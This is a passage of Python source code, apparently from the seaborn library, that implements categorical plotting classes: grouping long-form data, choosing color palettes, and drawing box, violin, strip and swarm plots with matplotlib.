are\n vals = y if x is None else x\n\n # Put them into the common representation\n plot_data = [np.asarray(vals)]\n\n # Get a label for the value axis\n if hasattr(vals, \"name\"):\n value_label = vals.name\n else:\n value_label = None\n\n # This plot will not have group labels or hue nesting\n groups = None\n group_label = None\n group_names = []\n plot_hues = None\n hue_names = None\n hue_title = None\n plot_units = None\n\n # Option 2b:\n # We are grouping the data values by another variable\n # ---------------------------------------------------\n else:\n\n # Determine which role each variable will play\n if orient == \"v\":\n vals, groups = y, x\n else:\n vals, groups = x, y\n\n # Get the categorical axis label\n group_label = None\n if hasattr(groups, \"name\"):\n group_label = groups.name\n\n # Get the order on the categorical axis\n group_names = categorical_order(groups, order)\n\n # Group the numeric data\n plot_data, value_label = self._group_longform(vals, groups,\n group_names)\n\n # Now handle the hue levels for nested ordering\n if hue is None:\n plot_hues = None\n hue_title = None\n hue_names = None\n else:\n\n # Get the order of the hue levels\n hue_names = categorical_order(hue, hue_order)\n\n # Group the hue data\n plot_hues, hue_title = self._group_longform(hue, groups,\n group_names)\n\n # Now handle the units for nested observations\n if units is None:\n plot_units = None\n else:\n plot_units, _ = self._group_longform(units, groups,\n group_names)\n\n # Assign object attributes\n # ------------------------\n self.orient = orient\n self.plot_data = plot_data\n self.group_label = group_label\n self.value_label = value_label\n self.group_names = group_names\n self.plot_hues = plot_hues\n self.hue_title = hue_title\n self.hue_names = hue_names\n self.plot_units = plot_units\n\n def _group_longform(self, vals, grouper, order):\n \"\"\"Group a long-form variable by another with correct order.\"\"\"\n # Ensure that the groupby will work\n if not isinstance(vals, pd.Series):\n if isinstance(grouper, pd.Series):\n index = grouper.index\n else:\n index = None\n vals = pd.Series(vals, index=index)\n\n # Group the val data\n grouped_vals = vals.groupby(grouper)\n out_data = []\n for g in order:\n try:\n g_vals = grouped_vals.get_group(g)\n except KeyError:\n g_vals = np.array([])\n out_data.append(g_vals)\n\n # Get the vals axis label\n label = vals.name\n\n return out_data, label\n\n def establish_colors(self, color, palette, saturation):\n \"\"\"Get a list of colors for the main component of the plots.\"\"\"\n if self.hue_names is None:\n n_colors = len(self.plot_data)\n else:\n n_colors = len(self.hue_names)\n\n # Determine the main colors\n if color is None and palette is None:\n # Determine whether the current palette will have enough values\n # If not, we'll default to the husl palette so each is distinct\n current_palette = utils.get_color_cycle()\n if n_colors <= len(current_palette):\n colors = color_palette(n_colors=n_colors)\n else:\n colors = husl_palette(n_colors, l=.7) # noqa\n\n elif palette is None:\n # When passing a specific color, the interpretation depends\n # on whether there is a hue variable or not.\n # If so, we will make a blend palette so that the different\n # levels have some amount of variation.\n if self.hue_names is None:\n colors = [color] * n_colors\n else:\n if self.default_palette == \"light\":\n colors = light_palette(color, n_colors)\n elif self.default_palette == \"dark\":\n colors = dark_palette(color, n_colors)\n else:\n raise RuntimeError(\"No default palette specified\")\n else:\n\n # Let `palette` be a dict mapping level to color\n if isinstance(palette, dict):\n if self.hue_names is None:\n levels = self.group_names\n else:\n levels = self.hue_names\n palette = [palette[l] for l in levels]\n\n colors = color_palette(palette, n_colors)\n\n # Desaturate a bit because these are patches\n if saturation < 1:\n colors = color_palette(colors, desat=saturation)\n\n # Convert the colors to a common representations\n rgb_colors = color_palette(colors)\n\n # Determine the gray color to use for the lines framing the plot\n light_vals = [colorsys.rgb_to_hls(*c)[1] for c in rgb_colors]\n lum = min(light_vals) * .6\n gray = mpl.colors.rgb2hex((lum, lum, lum))\n\n # Assign object attributes\n self.colors = rgb_colors\n self.gray = gray\n\n @property\n def hue_offsets(self):\n \"\"\"A list of center positions for plots when hue nesting is used.\"\"\"\n n_levels = len(self.hue_names)\n if self.dodge:\n each_width = self.width / n_levels\n offsets = np.linspace(0, self.width - each_width, n_levels)\n offsets -= offsets.mean()\n else:\n offsets = np.zeros(n_levels)\n\n return offsets\n\n @property\n def nested_width(self):\n \"\"\"A float with the width of plot elements when hue nesting is used.\"\"\"\n if self.dodge:\n width = self.width / len(self.hue_names) * .98\n else:\n width = self.width\n return width\n\n def annotate_axes(self, ax):\n \"\"\"Add descriptive labels to an Axes object.\"\"\"\n if self.orient == \"v\":\n xlabel, ylabel = self.group_label, self.value_label\n else:\n xlabel, ylabel = self.value_label, self.group_label\n\n if xlabel is not None:\n ax.set_xlabel(xlabel)\n if ylabel is not None:\n ax.set_ylabel(ylabel)\n\n group_names = self.group_names\n if not group_names:\n group_names = [\"\" for _ in range(len(self.plot_data))]\n\n if self.orient == \"v\":\n ax.set_xticks(np.arange(len(self.plot_data)))\n ax.set_xticklabels(group_names)\n else:\n ax.set_yticks(np.arange(len(self.plot_data)))\n ax.set_yticklabels(group_names)\n\n if self.orient == \"v\":\n ax.xaxis.grid(False)\n ax.set_xlim(-.5, len(self.plot_data) - .5, auto=None)\n else:\n ax.yaxis.grid(False)\n ax.set_ylim(-.5, len(self.plot_data) - .5, auto=None)\n\n if self.hue_names is not None:\n leg = ax.legend(loc=\"best\", title=self.hue_title)\n if self.hue_title is not None:\n if LooseVersion(mpl.__version__) < \"3.0\":\n # Old Matplotlib has no legend title size rcparam\n try:\n title_size = mpl.rcParams[\"axes.labelsize\"] * .85\n except TypeError: # labelsize is something like \"large\"\n title_size = mpl.rcParams[\"axes.labelsize\"]\n prop = mpl.font_manager.FontProperties(size=title_size)\n leg.set_title(self.hue_title, prop=prop)\n\n def add_legend_data(self, ax, color, label):\n \"\"\"Add a dummy patch object so we can get legend data.\"\"\"\n rect = plt.Rectangle([0, 0], 0, 0,\n linewidth=self.linewidth / 2,\n edgecolor=self.gray,\n facecolor=color,\n label=label)\n ax.add_patch(rect)\n\n\nclass _BoxPlotter(_CategoricalPlotter):\n\n def __init__(self, x, y, hue, data, order, hue_order,\n orient, color, palette, saturation,\n width, dodge, fliersize, linewidth):\n\n self.establish_variables(x, y, hue, data, orient, order, hue_order)\n self.establish_colors(color, palette, saturation)\n\n self.dodge = dodge\n self.width = width\n self.fliersize = fliersize\n\n if linewidth is None:\n linewidth = mpl.rcParams[\"lines.linewidth\"]\n self.linewidth = linewidth\n\n def draw_boxplot(self, ax, kws):\n \"\"\"Use matplotlib to draw a boxplot on an Axes.\"\"\"\n vert = self.orient == \"v\"\n\n props = {}\n for obj in [\"box\", \"whisker\", \"cap\", \"median\", \"flier\"]:\n props[obj] = kws.pop(obj + \"props\", {})\n\n for i, group_data in enumerate(self.plot_data):\n\n if self.plot_hues is None:\n\n # Handle case where there is data at this level\n if group_data.size == 0:\n continue\n\n # Draw a single box or a set of boxes\n # with a single level of grouping\n box_data = np.asarray(remove_na(group_data))\n\n # Handle case where there is no non-null data\n if box_data.size == 0:\n continue\n\n artist_dict = ax.boxplot(box_data,\n vert=vert,\n patch_artist=True,\n positions=[i],\n widths=self.width,\n **kws)\n color = self.colors[i]\n self.restyle_boxplot(artist_dict, color, props)\n else:\n # Draw nested groups of boxes\n offsets = self.hue_offsets\n for j, hue_level in enumerate(self.hue_names):\n\n # Add a legend for this hue level\n if not i:\n self.add_legend_data(ax, self.colors[j], hue_level)\n\n # Handle case where there is data at this level\n if group_data.size == 0:\n continue\n\n hue_mask = self.plot_hues[i] == hue_level\n box_data = np.asarray(remove_na(group_data[hue_mask]))\n\n # Handle case where there is no non-null data\n if box_data.size == 0:\n continue\n\n center = i + offsets[j]\n artist_dict = ax.boxplot(box_data,\n vert=vert,\n patch_artist=True,\n positions=[center],\n widths=self.nested_width,\n **kws)\n self.restyle_boxplot(artist_dict, self.colors[j], props)\n # Add legend data, but just for one set of boxes\n\n def restyle_boxplot(self, artist_dict, color, props):\n \"\"\"Take a drawn matplotlib boxplot and make it look nice.\"\"\"\n for box in artist_dict[\"boxes\"]:\n box.update(dict(facecolor=color,\n zorder=.9,\n edgecolor=self.gray,\n linewidth=self.linewidth))\n box.update(props[\"box\"])\n for whisk in artist_dict[\"whiskers\"]:\n whisk.update(dict(color=self.gray,\n linewidth=self.linewidth,\n linestyle=\"-\"))\n whisk.update(props[\"whisker\"])\n for cap in artist_dict[\"caps\"]:\n cap.update(dict(color=self.gray,\n linewidth=self.linewidth))\n cap.update(props[\"cap\"])\n for med in artist_dict[\"medians\"]:\n med.update(dict(color=self.gray,\n linewidth=self.linewidth))\n med.update(props[\"median\"])\n for fly in artist_dict[\"fliers\"]:\n fly.update(dict(markerfacecolor=self.gray,\n marker=\"d\",\n markeredgecolor=self.gray,\n markersize=self.fliersize))\n fly.update(props[\"flier\"])\n\n def plot(self, ax, boxplot_kws):\n \"\"\"Make the plot.\"\"\"\n self.draw_boxplot(ax, boxplot_kws)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _ViolinPlotter(_CategoricalPlotter):\n\n def __init__(self, x, y, hue, data, order, hue_order,\n bw, cut, scale, scale_hue, gridsize,\n width, inner, split, dodge, orient, linewidth,\n color, palette, saturation):\n\n self.establish_variables(x, y, hue, data, orient, order, hue_order)\n self.establish_colors(color, palette, saturation)\n self.estimate_densities(bw, cut, scale, scale_hue, gridsize)\n\n self.gridsize = gridsize\n self.width = width\n self.dodge = dodge\n\n if inner is not None:\n if not any([inner.startswith(\"quart\"),\n inner.startswith(\"box\"),\n inner.startswith(\"stick\"),\n inner.startswith(\"point\")]):\n err = \"Inner style '{}' not recognized\".format(inner)\n raise ValueError(err)\n self.inner = inner\n\n if split and self.hue_names is not None and len(self.hue_names) != 2:\n msg = \"There must be exactly two hue levels to use `split`.'\"\n raise ValueError(msg)\n self.split = split\n\n if linewidth is None:\n linewidth = mpl.rcParams[\"lines.linewidth\"]\n self.linewidth = linewidth\n\n def estimate_densities(self, bw, cut, scale, scale_hue, gridsize):\n \"\"\"Find the support and density for all of the data.\"\"\"\n # Initialize data structures to keep track of plotting data\n if self.hue_names is None:\n support = []\n density = []\n counts = np.zeros(len(self.plot_data))\n max_density = np.zeros(len(self.plot_data))\n else:\n support = [[] for _ in self.plot_data]\n density = [[] for _ in self.plot_data]\n size = len(self.group_names), len(self.hue_names)\n counts = np.zeros(size)\n max_density = np.zeros(size)\n\n for i, group_data in enumerate(self.plot_data):\n\n # Option 1: we have a single level of grouping\n # --------------------------------------------\n\n if self.plot_hues is None:\n\n # Strip missing datapoints\n kde_data = remove_na(group_data)\n\n # Handle special case of no data at this level\n if kde_data.size == 0:\n support.append(np.array([]))\n density.append(np.array([1.]))\n counts[i] = 0\n max_density[i] = 0\n continue\n\n # Handle special case of a single unique datapoint\n elif np.unique(kde_data).size == 1:\n support.append(np.unique(kde_data))\n density.append(np.array([1.]))\n counts[i] = 1\n max_density[i] = 0\n continue\n\n # Fit the KDE and get the used bandwidth size\n kde, bw_used = self.fit_kde(kde_data, bw)\n\n # Determine the support grid and get the density over it\n support_i = self.kde_support(kde_data, bw_used, cut, gridsize)\n density_i = kde.evaluate(support_i)\n\n # Update the data structures with these results\n support.append(support_i)\n density.append(density_i)\n counts[i] = kde_data.size\n max_density[i] = density_i.max()\n\n # Option 2: we have nested grouping by a hue variable\n # ---------------------------------------------------\n\n else:\n for j, hue_level in enumerate(self.hue_names):\n\n # Handle special case of no data at this category level\n if not group_data.size:\n support[i].append(np.array([]))\n density[i].append(np.array([1.]))\n counts[i, j] = 0\n max_density[i, j] = 0\n continue\n\n # Select out the observations for this hue level\n hue_mask = self.plot_hues[i] == hue_level\n\n # Strip missing datapoints\n kde_data = remove_na(group_data[hue_mask])\n\n # Handle special case of no data at this level\n if kde_data.size == 0:\n support[i].append(np.array([]))\n density[i].append(np.array([1.]))\n counts[i, j] = 0\n max_density[i, j] = 0\n continue\n\n # Handle special case of a single unique datapoint\n elif np.unique(kde_data).size == 1:\n support[i].append(np.unique(kde_data))\n density[i].append(np.array([1.]))\n counts[i, j] = 1\n max_density[i, j] = 0\n continue\n\n # Fit the KDE and get the used bandwidth size\n kde, bw_used = self.fit_kde(kde_data, bw)\n\n # Determine the support grid and get the density over it\n support_ij = self.kde_support(kde_data, bw_used,\n cut, gridsize)\n density_ij = kde.evaluate(support_ij)\n\n # Update the data structures with these results\n support[i].append(support_ij)\n density[i].append(density_ij)\n counts[i, j] = kde_data.size\n max_density[i, j] = density_ij.max()\n\n # Scale the height of the density curve.\n # For a violinplot the density is non-quantitative.\n # The objective here is to scale the curves relative to 1 so that\n # they can be multiplied by the width parameter during plotting.\n\n if scale == \"area\":\n self.scale_area(density, max_density, scale_hue)\n\n elif scale == \"width\":\n self.scale_width(density)\n\n elif scale == \"count\":\n self.scale_count(density, counts, scale_hue)\n\n else:\n raise ValueError(\"scale method '{}' not recognized\".format(scale))\n\n # Set object attributes that will be used while plotting\n self.support = support\n self.density = density\n\n def fit_kde(self, x, bw):\n \"\"\"Estimate a KDE for a vector of data with flexible bandwidth.\"\"\"\n kde = stats.gaussian_kde(x, bw)\n\n # Extract the numeric bandwidth from the KDE object\n bw_used = kde.factor\n\n # At this point, bw will be a numeric scale factor.\n # To get the actual bandwidth of the kernel, we multiple by the\n # unbiased standard deviation of the data, which we will use\n # elsewhere to compute the range of the support.\n bw_used = bw_used * x.std(ddof=1)\n\n return kde, bw_used\n\n def kde_support(self, x, bw, cut, gridsize):\n \"\"\"Define a grid of support for the violin.\"\"\"\n support_min = x.min() - bw * cut\n support_max = x.max() + bw * cut\n return np.linspace(support_min, support_max, gridsize)\n\n def scale_area(self, density, max_density, scale_hue):\n \"\"\"Scale the relative area under the KDE curve.\n\n This essentially preserves the \"standard\" KDE scaling, but the\n resulting maximum density will be 1 so that the curve can be\n properly multiplied by the violin width.\n\n \"\"\"\n if self.hue_names is None:\n for d in density:\n if d.size > 1:\n d /= max_density.max()\n else:\n for i, group in enumerate(density):\n for d in group:\n if scale_hue:\n max = max_density[i].max()\n else:\n max = max_density.max()\n if d.size > 1:\n d /= max\n\n def scale_width(self, density):\n \"\"\"Scale each density curve to the same height.\"\"\"\n if self.hue_names is None:\n for d in density:\n d /= d.max()\n else:\n for group in density:\n for d in group:\n d /= d.max()\n\n def scale_count(self, density, counts, scale_hue):\n \"\"\"Scale each density curve by the number of observations.\"\"\"\n if self.hue_names is None:\n if counts.max() == 0:\n d = 0\n else:\n for count, d in zip(counts, density):\n d /= d.max()\n d *= count / counts.max()\n else:\n for i, group in enumerate(density):\n for j, d in enumerate(group):\n if counts[i].max() == 0:\n d = 0\n else:\n count = counts[i, j]\n if scale_hue:\n scaler = count / counts[i].max()\n else:\n scaler = count / counts.max()\n d /= d.max()\n d *= scaler\n\n @property\n def dwidth(self):\n\n if self.hue_names is None or not self.dodge:\n return self.width / 2\n elif self.split:\n return self.width / 2\n else:\n return self.width / (2 * len(self.hue_names))\n\n def draw_violins(self, ax):\n \"\"\"Draw the violins onto `ax`.\"\"\"\n fill_func = ax.fill_betweenx if self.orient == \"v\" else ax.fill_between\n for i, group_data in enumerate(self.plot_data):\n\n kws = dict(edgecolor=self.gray, linewidth=self.linewidth)\n\n # Option 1: we have a single level of grouping\n # --------------------------------------------\n\n if self.plot_hues is None:\n\n support, density = self.support[i], self.density[i]\n\n # Handle special case of no observations in this bin\n if support.size == 0:\n continue\n\n # Handle special case of a single observation\n elif support.size == 1:\n val = support.item()\n d = density.item()\n self.draw_single_observation(ax, i, val, d)\n continue\n\n # Draw the violin for this group\n grid = np.ones(self.gridsize) * i\n fill_func(support,\n grid - density * self.dwidth,\n grid + density * self.dwidth,\n facecolor=self.colors[i],\n **kws)\n\n # Draw the interior representation of the data\n if self.inner is None:\n continue\n\n # Get a nan-free vector of datapoints\n violin_data = remove_na(group_data)\n\n # Draw box and whisker information\n if self.inner.startswith(\"box\"):\n self.draw_box_lines(ax, violin_data, support, density, i)\n\n # Draw quartile lines\n elif self.inner.startswith(\"quart\"):\n self.draw_quartiles(ax, violin_data, support, density, i)\n\n # Draw stick observations\n elif self.inner.startswith(\"stick\"):\n self.draw_stick_lines(ax, violin_data, support, density, i)\n\n # Draw point observations\n elif self.inner.startswith(\"point\"):\n self.draw_points(ax, violin_data, i)\n\n # Option 2: we have nested grouping by a hue variable\n # ---------------------------------------------------\n\n else:\n offsets = self.hue_offsets\n for j, hue_level in enumerate(self.hue_names):\n\n support, density = self.support[i][j], self.density[i][j]\n kws[\"facecolor\"] = self.colors[j]\n\n # Add legend data, but just for one set of violins\n if not i:\n self.add_legend_data(ax, self.colors[j], hue_level)\n\n # Handle the special case where we have no observations\n if support.size == 0:\n continue\n\n # Handle the special case where we have one observation\n elif support.size == 1:\n val = support.item()\n d = density.item()\n if self.split:\n d = d / 2\n at_group = i + offsets[j]\n self.draw_single_observation(ax, at_group, val, d)\n continue\n\n # Option 2a: we are drawing a single split violin\n # -----------------------------------------------\n\n if self.split:\n\n grid = np.ones(self.gridsize) * i\n if j:\n fill_func(support,\n grid,\n grid + density * self.dwidth,\n **kws)\n else:\n fill_func(support,\n grid - density * self.dwidth,\n grid,\n **kws)\n\n # Draw the interior representation of the data\n if self.inner is None:\n continue\n\n # Get a nan-free vector of datapoints\n hue_mask = self.plot_hues[i] == hue_level\n violin_data = remove_na(group_data[hue_mask])\n\n # Draw quartile lines\n if self.inner.startswith(\"quart\"):\n self.draw_quartiles(ax, violin_data,\n support, density, i,\n [\"left\", \"right\"][j])\n\n # Draw stick observations\n elif self.inner.startswith(\"stick\"):\n self.draw_stick_lines(ax, violin_data,\n support, density, i,\n [\"left\", \"right\"][j])\n\n # The box and point interior plots are drawn for\n # all data at the group level, so we just do that once\n if not j:\n continue\n\n # Get the whole vector for this group level\n violin_data = remove_na(group_data)\n\n # Draw box and whisker information\n if self.inner.startswith(\"box\"):\n self.draw_box_lines(ax, violin_data,\n support, density, i)\n\n # Draw point observations\n elif self.inner.startswith(\"point\"):\n self.draw_points(ax, violin_data, i)\n\n # Option 2b: we are drawing full nested violins\n # -----------------------------------------------\n\n else:\n grid = np.ones(self.gridsize) * (i + offsets[j])\n fill_func(support,\n grid - density * self.dwidth,\n grid + density * self.dwidth,\n **kws)\n\n # Draw the interior representation\n if self.inner is None:\n continue\n\n # Get a nan-free vector of datapoints\n hue_mask = self.plot_hues[i] == hue_level\n violin_data = remove_na(group_data[hue_mask])\n\n # Draw box and whisker information\n if self.inner.startswith(\"box\"):\n self.draw_box_lines(ax, violin_data,\n support, density,\n i + offsets[j])\n\n # Draw quartile lines\n elif self.inner.startswith(\"quart\"):\n self.draw_quartiles(ax, violin_data,\n support, density,\n i + offsets[j])\n\n # Draw stick observations\n elif self.inner.startswith(\"stick\"):\n self.draw_stick_lines(ax, violin_data,\n support, density,\n i + offsets[j])\n\n # Draw point observations\n elif self.inner.startswith(\"point\"):\n self.draw_points(ax, violin_data, i + offsets[j])\n\n def draw_single_observation(self, ax, at_group, at_quant, density):\n \"\"\"Draw a line to mark a single observation.\"\"\"\n d_width = density * self.dwidth\n if self.orient == \"v\":\n ax.plot([at_group - d_width, at_group + d_width],\n [at_quant, at_quant],\n color=self.gray,\n linewidth=self.linewidth)\n else:\n ax.plot([at_quant, at_quant],\n [at_group - d_width, at_group + d_width],\n color=self.gray,\n linewidth=self.linewidth)\n\n def draw_box_lines(self, ax, data, support, density, center):\n \"\"\"Draw boxplot information at center of the density.\"\"\"\n # Compute the boxplot statistics\n q25, q50, q75 = np.percentile(data, [25, 50, 75])\n whisker_lim = 1.5 * stats.iqr(data)\n h1 = np.min(data[data >= (q25 - whisker_lim)])\n h2 = np.max(data[data <= (q75 + whisker_lim)])\n\n # Draw a boxplot using lines and a point\n if self.orient == \"v\":\n ax.plot([center, center], [h1, h2],\n linewidth=self.linewidth,\n color=self.gray)\n ax.plot([center, center], [q25, q75],\n linewidth=self.linewidth * 3,\n color=self.gray)\n ax.scatter(center, q50,\n zorder=3,\n color=\"white\",\n edgecolor=self.gray,\n s=np.square(self.linewidth * 2))\n else:\n ax.plot([h1, h2], [center, center],\n linewidth=self.linewidth,\n color=self.gray)\n ax.plot([q25, q75], [center, center],\n linewidth=self.linewidth * 3,\n color=self.gray)\n ax.scatter(q50, center,\n zorder=3,\n color=\"white\",\n edgecolor=self.gray,\n s=np.square(self.linewidth * 2))\n\n def draw_quartiles(self, ax, data, support, density, center, split=False):\n \"\"\"Draw the quartiles as lines at width of density.\"\"\"\n q25, q50, q75 = np.percentile(data, [25, 50, 75])\n\n self.draw_to_density(ax, center, q25, support, density, split,\n linewidth=self.linewidth,\n dashes=[self.linewidth * 1.5] * 2)\n self.draw_to_density(ax, center, q50, support, density, split,\n linewidth=self.linewidth,\n dashes=[self.linewidth * 3] * 2)\n self.draw_to_density(ax, center, q75, support, density, split,\n linewidth=self.linewidth,\n dashes=[self.linewidth * 1.5] * 2)\n\n def draw_points(self, ax, data, center):\n \"\"\"Draw individual observations as points at middle of the violin.\"\"\"\n kws = dict(s=np.square(self.linewidth * 2),\n color=self.gray,\n edgecolor=self.gray)\n\n grid = np.ones(len(data)) * center\n\n if self.orient == \"v\":\n ax.scatter(grid, data, **kws)\n else:\n ax.scatter(data, grid, **kws)\n\n def draw_stick_lines(self, ax, data, support, density,\n center, split=False):\n \"\"\"Draw individual observations as sticks at width of density.\"\"\"\n for val in data:\n self.draw_to_density(ax, center, val, support, density, split,\n linewidth=self.linewidth * .5)\n\n def draw_to_density(self, ax, center, val, support, density, split, **kws):\n \"\"\"Draw a line orthogonal to the value axis at width of density.\"\"\"\n idx = np.argmin(np.abs(support - val))\n width = self.dwidth * density[idx] * .99\n\n kws[\"color\"] = self.gray\n\n if self.orient == \"v\":\n if split == \"left\":\n ax.plot([center - width, center], [val, val], **kws)\n elif split == \"right\":\n ax.plot([center, center + width], [val, val], **kws)\n else:\n ax.plot([center - width, center + width], [val, val], **kws)\n else:\n if split == \"left\":\n ax.plot([val, val], [center - width, center], **kws)\n elif split == \"right\":\n ax.plot([val, val], [center, center + width], **kws)\n else:\n ax.plot([val, val], [center - width, center + width], **kws)\n\n def plot(self, ax):\n \"\"\"Make the violin plot.\"\"\"\n self.draw_violins(ax)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _CategoricalScatterPlotter(_CategoricalPlotter):\n\n default_palette = \"dark\"\n require_numeric = False\n\n @property\n def point_colors(self):\n \"\"\"Return an index into the palette for each scatter point.\"\"\"\n point_colors = []\n for i, group_data in enumerate(self.plot_data):\n\n # Initialize the array for this group level\n group_colors = np.empty(group_data.size, int)\n if isinstance(group_data, pd.Series):\n group_colors = pd.Series(group_colors, group_data.index)\n\n if self.plot_hues is None:\n\n # Use the same color for all points at this level\n # group_color = self.colors[i]\n group_colors[:] = i\n\n else:\n\n # Color the points based on the hue level\n\n for j, level in enumerate(self.hue_names):\n # hue_color = self.colors[j]\n if group_data.size:\n group_colors[self.plot_hues[i] == level] = j\n\n point_colors.append(group_colors)\n\n return point_colors\n\n def add_legend_data(self, ax):\n \"\"\"Add empty scatterplot artists with labels for the legend.\"\"\"\n if self.hue_names is not None:\n for rgb, label in zip(self.colors, self.hue_names):\n ax.scatter([], [],\n color=mpl.colors.rgb2hex(rgb),\n label=label,\n s=60)\n\n\nclass _StripPlotter(_CategoricalScatterPlotter):\n \"\"\"1-d scatterplot with categorical organization.\"\"\"\n def __init__(self, x, y, hue, data, order, hue_order,\n jitter, dodge, orient, color, palette):\n \"\"\"Initialize the plotter.\"\"\"\n self.establish_variables(x, y, hue, data, orient, order, hue_order)\n self.establish_colors(color, palette, 1)\n\n # Set object attributes\n self.dodge = dodge\n self.width = .8\n\n if jitter == 1: # Use a good default for `jitter = True`\n jlim = 0.1\n else:\n jlim = float(jitter)\n if self.hue_names is not None and dodge:\n jlim /= len(self.hue_names)\n self.jitterer = stats.uniform(-jlim, jlim * 2).rvs\n\n def draw_stripplot(self, ax, kws):\n \"\"\"Draw the points onto `ax`.\"\"\"\n palette = np.asarray(self.colors)\n for i, group_data in enumerate(self.plot_data):\n if self.plot_hues is None or not self.dodge:\n\n if self.hue_names is None:\n hue_mask = np.ones(group_data.size, bool)\n else:\n hue_mask = np.array([h in self.hue_names\n for h in self.plot_hues[i]], bool)\n # Broken on older numpys\n # hue_mask = np.in1d(self.plot_hues[i], self.hue_names)\n\n strip_data = group_data[hue_mask]\n point_colors = np.asarray(self.point_colors[i][hue_mask])\n\n # Plot the points in centered positions\n cat_pos = np.ones(strip_data.size) * i\n cat_pos += self.jitterer(len(strip_data))\n kws.update(c=palette[point_colors])\n if self.orient == \"v\":\n ax.scatter(cat_pos, strip_data, **kws)\n else:\n ax.scatter(strip_data, cat_pos, **kws)\n\n else:\n offsets = self.hue_offsets\n for j, hue_level in enumerate(self.hue_names):\n hue_mask = self.plot_hues[i] == hue_level\n strip_data = group_data[hue_mask]\n\n point_colors = np.asarray(self.point_colors[i][hue_mask])\n\n # Plot the points in centered positions\n center = i + offsets[j]\n cat_pos = np.ones(strip_data.size) * center\n cat_pos += self.jitterer(len(strip_data))\n kws.update(c=palette[point_colors])\n if self.orient == \"v\":\n ax.scatter(cat_pos, strip_data, **kws)\n else:\n ax.scatter(strip_data, cat_pos, **kws)\n\n def plot(self, ax, kws):\n \"\"\"Make the plot.\"\"\"\n self.draw_stripplot(ax, kws)\n self.add_legend_data(ax)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _SwarmPlotter(_CategoricalScatterPlotter):\n\n def __init__(self, x, y, hue, data, order, hue_order,\n dodge, orient, color, palette):\n \"\"\"Initialize the plotter.\"\"\"\n self.establish_variables(x, y, hue, data, orient, order, hue_order)\n self.establish_colors(color, palette, 1)\n\n # Set object attributes\n self.dodge = dodge\n self.width = .8\n\n def could_overlap(self, xy_i, swarm, d):\n \"\"\"Return a list of all swarm points that could overlap with target.\n\n Assumes that swarm is a sorted list of all points below xy_i.\n \"\"\"\n _, y_i = xy_i\n neighbors = []\n for xy_j in reversed(swarm):\n _, y_j = xy_j\n if (y_i - y_j) < d:\n neighbors.append(xy_j)\n else:\n break\n return np.array(list(reversed(neighbors)))\n\n def position_candidates(self, xy_i, neighbors, d):\n \"\"\"Return a list of (x, y) coordinates that might be valid.\"\"\"\n candidates = [xy_i]\n x_i, y_i = xy_i\n left_first = True\n for x_j, y_j in neighbors:\n dy = y_i - y_j\n dx = np.sqrt(max(d ** 2 - dy ** 2, 0)) * 1.05\n cl, cr = (x_j - dx, y_i), (x_j + dx, y_i)\n if left_first:\n new_candidates = [cl, cr]\n else:\n new_candidates = [cr, cl]\n candidates.extend(new_candidates)\n left_first = not left_first\n return np.array(candidates)\n\n def first_non_overlapping_candidate(self, candidates, neighbors, d):\n \"\"\"Remove candidates from the list if they overlap with the swarm.\"\"\"\n\n # IF we have no neighbours, all candidates are good.\n if len(neighbors) == 0:\n return candidates[0]\n\n neighbors_x = neighbors[:, 0]\n neighbors_y = neighbors[:, 1]\n\n d_square = d ** 2\n\n for xy_i in candidates:\n x_i, y_i = xy_i\n\n dx = neighbors_x - x_i\n dy = neighbors_y - y_i\n\n sq_distances = np.power(dx, 2.0) + np.power(dy, 2.0)\n\n # good candidate does not overlap any of neighbors\n # which means that squared distance between candidate\n # and any of the neighbours has to be at least\n # square of the diameter\n good_candidate = np.all(sq_distances >= d_square)\n\n if good_candidate:\n return xy_i\n\n # If `position_candidates` works well\n # this should never happen\n raise Exception('No non-overlapping candidates found. '\n 'This should not happen.')\n\n def beeswarm(self, orig_xy, d):\n \"\"\"Adjust x position of points to avoid overlaps.\"\"\"\n # In this method, ``x`` is always the categorical axis\n # Center of the swarm, in point coordinates\n midline = orig_xy[0, 0]\n\n # Start the swarm with the first point\n swarm = [orig_xy[0]]\n\n # Loop over the remaining points\n for xy_i in orig_xy[1:]:\n\n # Find the points in the swarm that could possibly\n # overlap with the point we are currently placing\n neighbors = self.could_overlap(xy_i, swarm, d)\n\n # Find positions that would be valid individually\n # with respect to each of the swarm neighbors\n candidates = self.position_candidates(xy_i, neighbors, d)\n\n # Sort candidates by their centrality\n offsets = np.abs(candidates[:, 0] - midline)\n candidates = candidates[np.argsort(offsets)]\n\n # Find the first candidate that does not overlap any neighbours\n new_xy_i = self.first_non_overlapping_candidate(candidates,\n neighbors, d)\n\n # Place it into the swarm\n swarm.append(new_xy_i)\n\n return np.array(swarm)\n\n def add_gutters(self, points, center, width):\n \"\"\"Stop points from extending beyond their territory.\"\"\"\n half_width = width / 2\n low_gutter = center - half_width\n off_low = points < low_gutter\n if off_low.any():\n points[off_low] = low_gutter\n high_gutter = center + half_width\n off_high = points > high_gutter\n if off_high.any():\n points[off_high] = high_gutter\n\n gutter_prop = (off_high + off_low).sum() / len(points)\n if gutter_prop > .05:\n msg = (\n \"{:.1%} of the points cannot be placed; you may want \"\n \"to decrease the size of the markers or use stripplot.\"\n ).format(gutter_prop)\n warnings.warn(msg, UserWarning)\n\n return points\n\n def swarm_points(self, ax, points, center, width, s, **kws):\n \"\"\"Find new positions on the categorical axis for each point.\"\"\"\n # Convert from point size (area) to diameter\n default_lw = mpl.rcParams[\"patch.linewidth\"]\n lw = kws.get(\"linewidth\", kws.get(\"lw\", default_lw))\n dpi = ax.figure.dpi\n d = (np.sqrt(s) + lw) * (dpi / 72)\n\n # Transform the data coordinates to point coordinates.\n # We'll figure out the swarm positions in the latter\n # and then convert back to data coordinates and replot\n orig_xy = ax.transData.transform(points.get_offsets())\n\n # Order the variables so that x is the categorical axis\n if self.orient == \"h\":\n orig_xy = orig_xy[:, [1, 0]]\n\n # Do the beeswarm in point coordinates\n new_xy = self.beeswarm(orig_xy, d)\n\n # Transform the point coordinates back to data coordinates\n if self.orient == \"h\":\n new_xy = new_xy[:, [1, 0]]\n new_x, new_y = ax.transData.inverted().transform(new_xy).T\n\n # Add gutters\n if self.orient == \"v\":\n self.add_gutters(new_x, center, width)\n else:\n self.add_gutters(new_y, center, width)\n\n # Reposition the points so they do not overlap\n points.set_offsets(np.c_[new_x, new_y])\n\n def 